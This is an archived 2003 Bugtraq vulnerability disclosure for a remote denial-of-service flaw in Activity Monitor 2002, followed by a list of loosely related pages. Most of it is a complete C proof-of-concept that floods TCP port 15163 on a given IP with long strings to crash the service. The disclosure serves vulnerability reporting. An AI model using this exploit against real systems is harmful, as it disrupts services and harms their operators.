Activity Monitor 2002 remote Denial of Service

From: Luca Ercoli (luca.ercoli_at_inwind.it)
Date: 05/29/03

  • Next message: pokleyzz: "b2 cafelog 0.6.1 remote command execution."
    Date: 29 May 2003 15:22:03 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Overview: "Activity Monitor 2002 is a monitoring software system for real
    time employee
              monitoring and continuous tracking of users activities on
    networked computers."
              More information can be found at www.softactivity.com

    Vulnerability Description: By connecting TCP port 15163 and sending a long
    string, a remote
                               attacker could cause the application to crash
    and exhaust CPU
                               resources.

    Affected Software: Activity Monitor 2002 ver. 2.6

    Exploit:

    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <string.h>

    int main(int argc, char **argv)
    {

      int i,ck,port,sd;
      char dos[10000];

      struct sockaddr_in act_mon_server;

      if(argc < 2)
      {
        printf("\nUsage: %s <ip>\n", argv[0]);
        exit(0);
      }
      
      port = 15163;
        
      for(i = 0; i < 10000; i++) dos[i] = 'x';
      
      act_mon_server.sin_family = AF_INET;
      act_mon_server.sin_port = htons((u_short)port);
      act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);
       
      sd = socket(AF_INET, SOCK_STREAM, 0);
      
      ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof
    (act_mon_server));
      
      if(ck != 0) {
        perror("Connect");
        exit(0);
        }
      
      printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n");
      printf("\t\tby Luca Ercoli luca.ercoli@inwind.it\n\n");

      write(sd, dos, sizeof(dos));
      write(sd, dos, sizeof(dos));
      write(sd, dos, sizeof(dos));
      
      printf("\nDoS sent!\n");
      
      close(sd);

      exit(0);
    }


  • Next message: pokleyzz: "b2 cafelog 0.6.1 remote command execution."

    Relevant Pages

    • [NT] Activity Monitor Remote Denial of Service (TCP 15163)
      ... housewarming rates on automated network vulnerability ... * Activity Monitor 2002 version 2.6 ... write(sd, dos, sizeof(dos)); ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • Re: copying records across a network
      ... being timed on resource initialization when DOS is. ... Finally, related to the dev-make process, the pseudo.d3p file must ... The copy process must recreate the file on the remote ...
      (comp.databases.pick)
    • Re: copying records across a network
      ... That method averages 11 records per second (at around 1K bytes per ... I am assuming you are talking about "remote" as in DOS file rather than a D3 file on a remote D3 system. ... there's the added problem of dealing with embedded segment marks. ...
      (comp.databases.pick)
    • Re: DOS printing on RDP
      ... use this in a bat file in the remote computer & run after running the ... "printersharename" attributes +Shared ... NET USE LPT1: /delete ... "...Now he is using dos and wants to make printouts. ...
      (microsoft.public.windowsxp.work_remotely)
    • Re: copying records across a network
      ... EXECUTE CMD CAPTURING M RETURNING E ... talking about "remote" as in DOS file rather than a D3 file on a remote D3 ... The files originated on a D3 server but I wanted the file transfers to ...
      (comp.databases.pick)